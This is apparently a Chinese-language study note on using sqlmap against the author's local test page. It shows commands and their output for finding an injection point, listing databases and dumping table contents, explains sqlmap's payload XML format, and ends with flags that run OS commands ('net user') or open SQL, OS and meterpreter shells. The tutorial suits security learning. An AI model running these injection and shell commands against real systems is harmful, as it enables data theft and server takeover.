sqlmap工具使用

本次学习使用的sqlmap版本:1.4.4.8

 

 

Sqlmap使用

  ①  判断是否是注入点

sqlmap.py -u "localhost:8089/test003.php?ID=1" 

  使用了-u参数指定测试的URL,若存在注入点将会显示出Web容器、数据库版本信息,结果如下:

web application technology: Apache 2.4.41, PHP 7.3.12
back-end DBMS: MySQL >= 5.0 (MariaDB fork)

 

  ②  获取数据库

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs

  使用—dbs参数读取数据库。结果如下:

 available databases [6]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] phpmyadmin
[*] test
[*] test_db

 

  ③  查看当前应用程序所用数据库

sqlmap.py -u "localhost:8089/test003.php?ID=1" --current-db

  使用—current-db参数列出当前应用程序所使用的数据库,结果如下:

current database: 'test_db'

 

  ④  列出指定数据库的所有表

sqlmap.py -u "localhost:8089/test003.php?ID=1" --tables -D "test_db"

  使用—tables参数获取数据库表,-D参数指定数据库,结果如下:

 Database: test_db
[1 table]
+-----------+
| testtable |
+-----------+

 

  ⑤  读取指定表中的字段名称

sqlmap.py -u "localhost:8089/test003.php?ID=1" --columns -T "testtable" -D "test_db"

  使用—columns参数列取字段名及数据类型,结果如下:

Database: test_db
Table: testtable
[3 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| ID     | varchar(255) |
| Name   | varchar(255) |
| Age    | int(11)      |
+--------+--------------+

 

  ⑥  读取指定字段内容

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dump -C "ID,Name,Age"  -T "testtable" -D "test_db"

  使用—dump参数转存数据,-C参数指定字段名,-T参数指定表名,-D指定数据库名称,在读取数据后,sqlmap还会把读取到的数据转存到sqlmap\output\localhost\dump\test_db\目录下,文件以“testtable.cvs”保存,结果如下:

Database: test_db
Table: testtable
[8 entries]
+------+--------+-----+
| ID   | Name   | Age |
+------+--------+-----+
| 1    | A      | 1   |
| 2    | B      | 2   |
| 3    | C      | 3   |
| 4    | D      | 4   |
| 5    | E      | 5   |
| 6    | F      | 6   |
| 7    | G      | 7   |
| 8    | H      | 8   |
+------+--------+-----+

  打开testtable.cvs:

 

Sqlmap常用参数实验

-v

  该参数用来显示信息的级别,一共有7个等级:

    0:只显示python错误和关键信息

    1:显示基本信息(默认)

    2:显示调试(debug)信息

    3:显示有效载荷注入(payload)

    4:显示HTTP请求包

    5:显示HTTP响应头

    6:显示HTTP响应页面的内容

 

  接下里我们实验一下:

-v 0:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 0

  只返回关键信息;

 

-v 1:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 1

   返回[INFO]信息,还会返回[WARNING]警告信息,这里没有警告信息;

 

-v 2:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 2

  显示[DEBUG]调试信息;

 

-v 3:

  由于

sqlmap.py -u "localhost:8089/test003.php?ID=1" –dbs

  该命令没有payload,所以改用命令:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-cmd="net user" -v 3

   可以看到显示了[PAYLOAD]载荷信息,同时可以注意到有[WARNING]警告信息,这个在v1的时候即可显示;

 

-v 4:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 4

  显示[TRAFFIC OUT]HTTP请求信息;

 

-v 5:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 5

  显示了[TRAFFIC IN]HTTP响应头信息;

 

-v 6:

sqlmap.py -u "localhost:8089/test003.php?ID=1" --dbs -v 6

  在[TRAFFIC IN]中还包括了HTTP响应页面的内容,当响应页面包含比较多的内容的时候不建议在sqlmap中使用这个等级的显示信息。

 

Sqlmap中的payload

  我们可以在sqlmap/data/xml/payload文件夹中找到所有的payload,在boolean_blind.xml文件开头解释了所有的payload的标签及相关参数。

 

Payload格式:

<test>
  <title></title>
  <stype></stype>
  <level></level>
  <risk></risk>
  <clause></clause>
  <where></where>
  <vector></vector>
  <request>
    <payload></payload>
    <comment></comment>
    <char></char>
    <columns></columns>
  </request>
  <response>
    <comparison></comparison>
    <grep></grep>
    <time></time>
    <union></union>
  </response>
  <details>
    <dbms></dbms>
    <dbms_version></dbms_version>
    <os></os>
  </details>
</test>

各标签的具体含义及参数:

标签:<test>

  SQL注入测试的定义,包含了一次SQL注入所有的参数。

 

  子标签:<title>

    test的标题

 

  子标签:<stype>

    SQL注入的类型

    有效值:

      1:基于布尔值的盲注

      2:基于错误查询的SQL注入

      3:Inline queries(内联查询)SQL注入

      4:堆栈查询SQL注入

      5:基于时间的盲注

      6:UNION联合查询SQL注入

 

  子标签:<level>

    规定了测试的检查级别

    有效值:

      1:Always(小于100个请求)

      2:Try a bit harder(100-200个请求)

      3:Good number of requests(200-500个请求)

      4:Extensive test(500-1000个请求)

      5:You have plenty of time(大于1000个请求)

    Tips:默认参数是1,当参数值为2时一般会检查cookie里的参数,当参数大于等于3时一般还会检查User-agent和Referer。

 

  子标签:<risk>

    有效载荷破坏数据完整性的可能性

    有效值:

      1:低风险

      2:中风险

      3:高风险

    Tips:默认为1,当参数为2时一般会有基于事件的测试,当参数为3时一般会有OR语句的测试

 

  子标签:<clause>

    有效载荷可以在哪个子句中生效

    有效值:

      0:Always

      1:WHERE/HAVING

      2:GROUP BY

      3:ORDER BY

      4:LIMIT

      5:OFFSET

      6:TOP

      7:Table name

      8:Column name

      9:Pre-WHERE(non-query)

    Tips:这些值也可以用逗号分隔。

 

  子标签:<where>

    在哪里加入有效载荷

    有效值:

      1:将字符串追加到参数原始值后

      2:将参数原始值替换为负随机整数值后再将字符串加到后面

      3:用字符串替换参数原始值

 

  子标签:<vector>

    将用于利用注入点的载荷

 

  子标签:<request>

    要注入的内容

 

    子标签:<payload>

      要测试的载荷

 

    子标签:<comment>

      在后缀之前,附加在载荷后面的注释

 

    子标签:<char>

      在UNION查询SQL注入测试中,用于强制联合列数的字符

 

    子标签:<columns>

      在UNION查询SQL注入测试中,列的范围

 

  子标签:<response>

    如何识别注入的载荷是否成功

 

    子标签:<comparison>

      使用这个标签中的字符串作为载荷并和<payload>中的载荷的响应进行比较,并应用比较算法。

      Tips:一般用于测试基于布尔值的盲注

 

    子标签:<grep>

      在响应体中的正则表达式

      Tips:一般用于基于错误返回的SQL注入

 

    子标签:<time>

      在返回响应之前等待的时间(秒)

      Tips:一般用于基于时间的盲注和堆栈查询SQL注入

 

    子标签:<union>

      调用unionTest()函数

      Tips:一般用于UNION查询的SQL注入

 

  子标签:<details>

    如果载荷成功,可以推断的细节

 

    子标签:<dbms>

      数据库的管理系统

 

    子标签:<dbms_version>

      数据库管理系统的版本

 

    子标签:<os>

      数据库管理系统所在的操作系统

 

根据<stype>的不同,所有的payload被分别存储在这几个不同的xml文件中,文件名即是<stype>的类型。

 

拿一个基于布尔值的盲注的payload来具体看看:

<test>

  <title>OR boolean-based blind - WHERE or HAVING clause</title>

  <stype>1</stype>

  <level>1</level>

  <risk>3</risk>

  <clause>1,9</clause>

  <where>2</where>

  <vector>OR [INFERENCE]</vector>

  <request>

    <payload>OR [RANDNUM]=[RANDNUM]</payload>

  </request>

  <response>

    <comparison>OR [RANDNUM]=[RANDNUM1]</comparison>

  </response>

</test>

  这条测试的标题是“OR boolean-based blind - WHERE or HAVING clause”;

  类型的参数是1,基于布尔值的盲注;

  level的参数是1,默认级别,不会对cookie等参数进行测试;

  risk的参数是3,用了OR语句的测试

  clause的参数是1和9,载荷在WEHER/HAVING/Pre-WHERE子句中生效;

  where的参数是2,将参数原始值替换为负随机整数值后再将载荷字符串加到后面;

  载荷是OR [INFERENCE],被注入的内容具体为OR [RANDNUM]=[RANDNUM]并和OR [RANDNUM]=[RANDNUM1]的返回值进行比对。

 

POST参数提交方式

--data="POST参数"

sqlmap.py -u "localhost:8089/test002.php" --data="Name=A"

 

sqlmap返回shell

sql shell:

--sql-shell

sqlmap.py -u "localhost:8089/test003.php?ID=1" --sql-shell

 

操作系统shell:

--os-shell

sqlmap.py -u "localhost:8089/test003.php?ID=1" --os-shell

成功后会创建一个对方操作系统的shell。

 

--os-pwn 同上,获取一个OOB shell,meterpreter或VNC。(没弄明白,有待学习)